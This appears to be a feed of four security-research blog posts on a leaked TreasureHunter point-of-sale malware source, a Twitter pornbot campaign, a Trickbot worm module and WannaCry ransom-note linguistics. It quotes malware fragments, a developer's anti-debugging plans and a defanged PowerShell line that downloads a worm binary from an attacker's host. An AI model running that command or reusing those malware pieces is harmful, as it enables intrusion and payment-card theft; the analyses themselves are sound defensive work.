TreasureHunter Point-of-Sale Malware and Builder Source Code Leaked

The source code for a longstanding point-of-sale (PoS) malware family called TreasureHunter has been leaked on a top-tier Russian-speaking forum. Compounding the issue is the coinciding leak by the same actor of the source code for the malware’s graphical user interface builder and administrator panel.

The availability of both code bases lowers the barrier for entry for cybercriminals wishing to capitalize on the leaks to build their own variants of the PoS malware.

Point-of-sale malware has been at the root of many breaches, including massive thefts at retailers Target in 2013 and Home Depot in 2014; in each case attackers were able to extract more than 100 million payment card and customer records from point-of-sale terminals by scraping card data before it was encrypted and sent to the payment processor. Both retail giants paid tens of millions of dollars in settlements, and in Target’s case, its chief executive officer resigned his position.

Industry Collaboration on Detection and Prevention

TreasureHunter has been known and investigated since 2014, but until now investigators have had to reverse-engineer its code in order to analyze it. Now with the full code available, analysts have previously unseen insight into the malware’s operation. Flashpoint analysts, who discovered the source code leak in March, proactively collaborated with researchers at Cisco Talos, who reviewed and improved protections, and advanced-detection mechanisms, in an effort to disrupt potential copycats who may have their hands on the source code.

In the meantime, Russian-speaking cybercriminals have been observed on the vetted underground discussing improvements and weaponization of the leaked TreasureHunter source code. Notably, the original developer appears to be a Russian speaker who is proficient in English. Originally, this malware appears to have been developed for the notorious underground shop dump seller “BearsInc,” who maintained presence on various low-tier and mid-tier hacking and carding communities (below is a graphical representation of such an operation on the Deep & Dark Web). It’s unknown why the source code was leaked at this time.

A graphical representation of a typical cybercrime dump shop ecosystem.

Image 1: A graphical representation of a typical cybercrime dump shop ecosystem.

One Leak Can Spawn Many Variants

TreasureHunter behaves like many other point-of-sale malware samples. Once an attacker has access to a Windows-based server and the point-of-sale terminal, the malware is installed and it establishes persistence by creating a registry key that runs the malware at startup. It then enumerates running processes, and scans device memory looking for track data, including primary account numbers (PANs), separators, service codes, and more. It then establishes a connection with the attacker’s command and control server and sends the stolen data to the criminal.

The leak of the builder adds another dimension to the availability of the TreasureHunter payload and configurations. In the past, malware source code leaks such as the Zeus banking Trojan have spawned numerous variants, including Citadel, which cost organizations hundreds of millions in losses. PoS malware leaks have had similar effects, most notably with the 2015 leak of the Alina malware which led to the creation of the ProPoS and Katrina variants. The actor behind the TreasureHunter leak said:

“Besides alina, vskimmer and other sniffers, Treasure Hunter still sniffs ( not at a very high rate, but it still does ) and besides that , since now you have the source code, it can be update anytime for your own needs.”

For researchers, the availability of the source code opens the door into new avenues of analysis and proactive visibility into such activity on the underground. This affords organizations such as Flashpoint the ability to collaborate with others in the industry such as Cisco Talos in this case to improve existing protections and force attackers back to the drawing board.

Source-Code Level Insight

The code project appears to be called internally trhutt34C, and was written in pure C with no C++ features. It was compiled originally in Visual Studio 2013 on Windows XP. Based on analysis, researchers believe the developer intended to improve and redesign various features including anti-debugging, code structure improvement, and gate communication logic. With the goal of additional features to be improved, the developer hoped frustrate malware analysis and subsequent research; the actor left behind a note that said: “We want the malware researchers screamin’!”

A snapshot of the TreasureHunter source code.

Image 2: A snapshot of the TreasureHunter source code.

The unfinished project included continued improvement code snippets, below:

  • TO DO for the next version of the client (0.2 Beta):
    • Replace all Unicode versions of functions with ANSI versions. Now why did I ever go for wide-char in the first place?..
  • Improve the code structure:
    • Replace all the if – else constructs that are rendered needless by return commands;
    • Organize the includes;
    • Give the code proper commenting so that I am able to modify and improve it after not having seen it for some time (if such a thing happens).
    • Make scan exceptions and service codes configurable.
    • Add the following commands to the gate communication logic:
    • Download and execute for updating;
    • Remote CMD command execution;
    • Remote self-removal for emergency cases.
    • Add anti-debugging:
      • Use self-debugging by creating a child process (may be improved later by reversing the tables);
      • Improve the MD5 function and use it to find debuggers by signatures (maybe to be added in future versions);
      • Use GetTickCount to detect parts of code being stepped through (maybe to be added in a “heuristical” joint algorithm with the abovementioned);
      • Upon finding a debugger, destroy the critical section and/or start creating new threads infinitely until the application crashes.
      • Maybe also kill processes and delete debuggers and/or decompilers permanently. We want the malware researchers screamin’!
  • Add better persistency and timeouts to gate communication.
  • Add local saving of data if the gate can’t be reached for a certain period of time.
  • Add the option to run the program as a service on Windows XP.
  • Improve the code structure and add comments to avoid future confusion.
  • Add error handling and backup restart in case of crash or heap overflow (malloc fail).
  • Improve the Clingfish system (so that a clingfish thread doesn’t do the same thing as the main thread right after being spawned).
  • Debug the system information extraction mechanism further (on different OS versions).
  • Improve the track-finding algorithm to make it faster.

The stolen dump structure is as follows. The structure contains the following key elements used to collect and operate with stolen dumps, such as unique machine information and where scraped data is from:

typedef struct dumpsHolder {
TCHAR *lpFileName;
int lpFileNameLength;
int procID;
char *trackArr;
int trackArrLength;
} dumpsHolder;

The credit card process scan works in exception mode:

char *scanExceptions[SCANEXCEPTIONSNUM] = {“System32”, “SysWOW64”, “\Windows\explorer.exe”};

The malware focuses on scraping credit card track data, focusing on the following service codes:

char *serviceCodes[SERVICECODESNUM] = {“101”, “201”, “121”, “231”, “221”, “110”};

Registry persistence for autostart in HKLMMicrosoftWindowsCurrentVersionRun runs as “jucheck.”

A registry key created by the malware for persistence

Image 3: A registry key created by the malware for persistence.

The source code is consistent with the various samples that have been seen in the wild over the last few years. TreasureHunterconfig.h shows definite signs of modification over the lifespan of the malware. Early samples filled all of the configurable fields with FIELDNAME_PLACEHOLDER to be overwritten by the builder. More recent samples, and the source code, instead writes useful config values directly into the fields. This makes the samples slightly smaller and uses fresh compiles to create reconfigured files.

The post TreasureHunter Point-of-Sale Malware and Builder Source Code Leaked appeared first on Flashpoint.

Go to Source
Author: Flashpoint

Inside a Twitter ‘Pornbot’ Campaign

Flashpoint analysts recently investigated the trend of adult entertainment-themed Twitter bots known as pornbots, which post tweets with hashtags containing popular brand names alongside random, unrelated terms. The observed set of pornbots appears to be a mix of compromised accounts and accounts specifically created to advertise pornography. As such, organizations mentioned in these bots’ pornographic advertising campaigns on Twitter may suffer reputational damage in addition to distorted social media engagement campaign metrics.

Image 1: Sample of tweets containing brand hashtags and random terms. Brand names have been sanitized

Image 1: Sample of tweets containing brand hashtags and random terms. Brand names have been sanitized.

In recent years, Twitter has become a primary form of external, two-way communication and engagement for organizations across all sectors. For example, companies often use hashtags to monitor the spread and reception of marketing campaigns and sponsored events. More crucially, emergency services may use hashtag tracking to gain real-time insight into current situations during natural disasters and other crises. In a worst-case scenario, pornbots or other spambots could identify a trending hashtag and distort the conversation by sharing unrelated or false information.

Image 2: Three sample pornbot Twitter accounts using the same profile picture. Each pornbot has a different username, bio, and join date, and each bio contains a link to a different adult entertainment website. However, these adult entertainment websites were hosted on common servers.

Image 2: Three sample pornbot Twitter accounts using the same profile picture. Each pornbot has a different username, bio, and join date, and each bio contains a link to a different adult entertainment website. However, these adult entertainment websites were hosted on common servers.

Flashpoint analysts identified three distinct sets of pornbots using identical hashtags, indicating they were likely part of the same organized campaign. While similar in appearance and often using a common set of profile pictures across the groups, each promoted a different adult website. However, the three adult websites linked to the sample profiles shown above were hosted on one of two common servers, which may indicate the pornbots share a common origin. Flashpoint analysts did not detect any malicious files on the servers hosting the websites advertised by the pornbots.

Advertising Methods

Flashpoint analysts observed two primary methods of advertising across the pornbot accounts:

• Hashtagged tweets: The first advertising method utilized hashtags followed by random risqué buzzwords and a link to an adult dating or video website, often featuring online “cam girls” or escort services.

• Link in bio and pinned tweet: The second advertising method includes multiple accounts sharing similar bios and pinned tweets, which contain links to adult content sites.

Image 3: Example of the first method of advertising adult entertainment sites, whereby links are included within hashtagged tweets.

Image 3: Example of the first method of advertising adult entertainment sites, whereby links are included within hashtagged tweets.

 Image 4: Example of a pornbot account using the second advertising method, whereby links to adult websites are included in the bio and the pinned tweet.

Image 4: Example of a pornbot account using the second advertising method, whereby links to adult websites are included in the bio and the pinned tweet.

Identifying Pornbots

Image 5: Sample guide to identifying pornbots and spambots.

Image 5: Sample guide to identifying pornbots and spambots.

Over the course of their investigation, Flashpoint analysts noted several common traits that can be used to identify pornbots and other spambots:

• Reused profile images: The profile pictures used by the observed pornbots were all obtained from public profiles on open-source websites, primarily Instagram and Pinterest. Reverse searches using Google Images indicated these stolen images were resused by multiple pornbots.

• Systematic coordination: Related sets of pornbots systematically coordinated their tweets. One pornbot would post a tweet containing a hashtag, and other pornbots within its group would subsequently post tweets containing the same hashtag, followed by random and unrelated terms. 

• Many tweets, but few followers: Each of the observed pornbots posted tweets at a rapid cadence, with some posting more than 50 times per day. Most of the observed pornbot accounts boasted more than 10,000 tweets, but typically had fewer than 200 followers. Similarly, most of the pornbots were following fewer than 200 other users. 

Image 6: Example of a reverse Google Images search revealing use of a single profile image across multiple pornbot accounts.

Image 6: Example of a reverse Google Images search revealing use of a single profile image across multiple pornbot accounts.

Image 7: Example of systemically coordinated tweeting among pornbots.

Image 7: Example of systemically coordinated tweeting among pornbots.

Pornbot Mitigation Best Practices

The following mitigation measures may help reduce the number of pornbots and spambots using brand names. These steps may also reduce the number of false detections and aid in validating social media metrics:

• Challenge social media teams to identify and block pornbots and spambots following company social media accounts. This action impacts the bots’ ability to capture and retweet relevant and branded tweets.

• Require social media teams to report these accounts through Twitter’s abuse function.

• Implement response actions to react to large campaigns, such as social media teams and cyber threat teams notifying each other when activity is detected.

The post Inside a Twitter ‘Pornbot’ Campaign appeared first on Flashpoint.

Go to Source
Author: Flashpoint

New Version of “Trickbot” Adds Worm Propagation Module

On July 27, 2017, in coordination with Luciano Martins, Director of Cyber Risk Services at Deloitte, Flashpoint observed a new version – “1000029” – of the formidable “Trickbot” banking Trojan with a new “worm64Dll” module, spread via the email spam vector, impersonating invoices from a large international financial institution.

Image 1: The latest Trickbot tt0002 config that was served via the spam campaign.

The Trickbot gang appears to be testing a worm-like malware propagation module, which appears to spread locally via Server Message Block (SMB), scan domains for lists of servers via NetServerEnum Windows API, and enumerate other computers via Lightweight Directory Access Protocol (LDAP) enumeration. As of this writing, this malware feature does not appear to be fully implemented by the criminal gang as the initial purported SMB exploit has not yet been observed.

Image 2: Trickbot’s worm module obtains a list of servers via NetServerEnum and scans LDAP resources.

The Trickbot’s “MachineFinder” and “netscan” functions appear to leverage the following techniques:

• NetServer Enumeration function

• LDAP Enumeration

Image 3: The NetServerEnum function lists all servers of the specified type that are visible in a domain.

Trickbot’s worm module also creates queries enumerating LDAP as follows:

• (objectCategory=computer)

• (&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))

More specifically, the malware appears to enumerate all computers that are not domain controllers and resolve them to domains to IPs via gethostbyname and inet_ntoa Windows API.

Image 4: Trickbot queries LDAP for all computers that are not domain controllers.

The Trickbot module also appears to contain strings indicative of its usage of the Python implementation of the SMB protocol “pysmb,” leveraging authentication via NT LM 0.12 querying for Windows 2007, Windows 7, Windows 2012, and Windows 8 Operating Systems (OS).

Images 5-6: The observed Trickbot worm module leverages SMB to determine exploitation; however, the module does not appear to be fully implemented yet.

Finally, the malware appears to leverage the IPC (interprocess communication) share to propagate and execute a PowerShell script as a final payload to download another Trickbot malware, masked as “setup[.]exe,” into the shared drive. Notably, this malware does not appear to have logic to randomly scan external IPs for SMB connections – as was the case for the worm that spread the “WannaCry” ransomware in May 2017.

The following PowerShell script was observed in the worm module:

powershell -Command “(New-Object Net.WebClient).DownloadFile(‘hxxp://c93211do[.]beget[.]tech/worm[.]bin[.]exe’, ‘setup[.]exe’)”

Assessment

The Trickbot banking Trojan gang continues to have a global impact, targeting various financial instructions across the world and tirelessly proliferating sizable daily spam waves impacting various geographies. Now, the gang appears to be testing a new module with worm-like capabilities for lateral movement, i.e., the ability to infect other computers on the same Local Area Network (LAN) with the goal of infecting more victims and enlisting them as part of the botnet. Such worm-like infections might add the Trickbot gang to expand a number of customers of financial institutions in an effort to conduct more account takeover (ATO) fraud.

Even though the worm module appears to be rather crude in its present state, it is evident that the Trickbot gang learned from the global ransomware worm-like outbreaks of WannaCry and “NotPetya” and is attempting to replicate their methodology. Flashpoint assesses with moderate confidence that the Trickbot gang will likely continue to be a formidable force in the near term.

The post New Version of “Trickbot” Adds Worm Propagation Module appeared first on Flashpoint.

Go to Source
Author: Justin Rogers

Linguistic Analysis of WannaCry Ransomware Messages Suggests Chinese-Speaking Authors

Since the May 12, 2017, “WannaCry” ransomware worm attack, researchers have struggled with the question of attribution. As of this writing, a number of researchers have linked the activity to the suspected North Korean-affiliated “Lazarus Group” due to similarities in the code and the infrastructure. Flashpoint analysts conducted similar analyses, but also included a linguistic and cultural review of the 28 ransom notes found within the WannaCry malware to determine the native tongue of the author(s).

Analysis

Flashpoint analyzed each of the notes individually for content, accuracy, and style, and then compared results. Analysts also compared the ransom notes to previous ransom messages associated with other ransomware samples to determine if there was reuse. Unsurprisingly, there are many similarities, but an exact match was not found. The WannaCry samples analyzed by Flashpoint contained language configuration files with translated ransom messages for the following languages:

1. Bulgarian
2. Chinese (Simplified)
3. Chinese (Traditional)
4. Croatian
5. Czech
6. Danish
7. Dutch
8. English
9. Filipino
10. Finnish
11. French
12. German
13. Greek
14. Indonesian
15. Italian
16. Japanese
17. Korean
18. Latvian
19. Norwegian
20. Polish
21. Portuguese
22. Romanian
23. Russian
24. Slovak
25. Spanish
26. Swedish
27. Turkish
28. Vietnamese

Image 1: WannaCry ransom note in English.

Image 1: WannaCry ransom note in English.

Analysis revealed that nearly all of the ransom notes were translated using Google Translate and that only three, the English version and the Chinese versions (Simplified and Traditional), are likely to have been written by a human instead of machine translated. Though the English note appears to be written by someone with a strong command of English, a glaring grammatical error in the note suggest the speaker is non-native or perhaps poorly educated.

Flashpoint found that the English note was used as the source text for machine translation into the other languages. Comparisons between the Google translated versions of the English ransomware note to the corresponding WannaCry ransom note yielded nearly identical results, producing a 96% or above match.

Image 2: Percent identical by word count between Google translate and WannaCry note versions.

Image 2: Percent identical by word count between Google translate and WannaCry note versions.

Chinese Ransomware Notes

The two Chinese ransom notes differ substantially from other notes in both content, format, and tone. Google Translate fails in both Chinese-English and English-Chinese tests, producing inaccurate results that suggests the Chinese text was likely not have been similarly generated by the English text.

A number of unique characteristics in the note indicate it was written by a fluent Chinese speaker. A typo in the note, “帮组” (bang zu) instead of “帮助” (bang zhu) meaning “help,” strongly indicates the note was written using a Chinese-language input system rather than being translated from a different version. More generally, the note makes use of proper grammar, punctuation, syntax, and character choice, indicating the writer was likely fluent or at least native. There is, however, at least one minor grammatical error which may be explained by autocomplete, or a copy-editing error.

The text uses certain terms that further narrow down a geographic location. One term, “礼拜” for “week,” is more common in South China, Hong Kong, Taiwan, or Singapore. The other “杀毒软件” for “anti-virus” is more common in the Chinese mainland.

Perhaps most compelling, the Chinese note contains substantial content not present in any other version of the note, is lengthier, and differs slightly in format.

Image 3: The Simplified Chinese ransom note with key areas highlighted.

Image 3: The Simplified Chinese ransom note with key areas highlighted.

Conclusions

Flashpoint assesses with high confidence that the author(s) of WannaCry’s ransomware notes are fluent in Chinese, as the language used is consistent with that of Southern China, Hong Kong, Taiwan, or Singapore. Flashpoint also assesses with high confidence that the author(s) are familiar with the English language, though not native. This alone is not enough to determine the nationality of the author(s).

Image 4: Assessed genesis of the WannaCry ransom notes.

Image 4: Assessed genesis of the WannaCry ransom notes.

Flashpoint assesses with moderate confidence that the Chinese ransom note served as the original source for the English version, which then generated machine translated versions of the other notes. The Chinese version contains content not in any of the others, though no other notes contain content not in the Chinese. The relative familiarity found in the Chinese text compared to the others suggests the authors were fluent in the language—perhaps comfortable enough to use the language to write the initial note.

Given these facts, it is possible that Chinese is the author(s)’ native tongue, though other languages cannot be ruled out. It is also possible that the malware author(s)’ intentionally used a machine translation of their native tongue to mask their identity. It is worth noting that characteristics marking the Chinese note as authentic are subtle. It is thus possible, though unlikely, that they were intentionally included to mislead.

The post Linguistic Analysis of WannaCry Ransomware Messages Suggests Chinese-Speaking Authors appeared first on Flashpoint.

Go to Source
Author: Chelsea Sawicki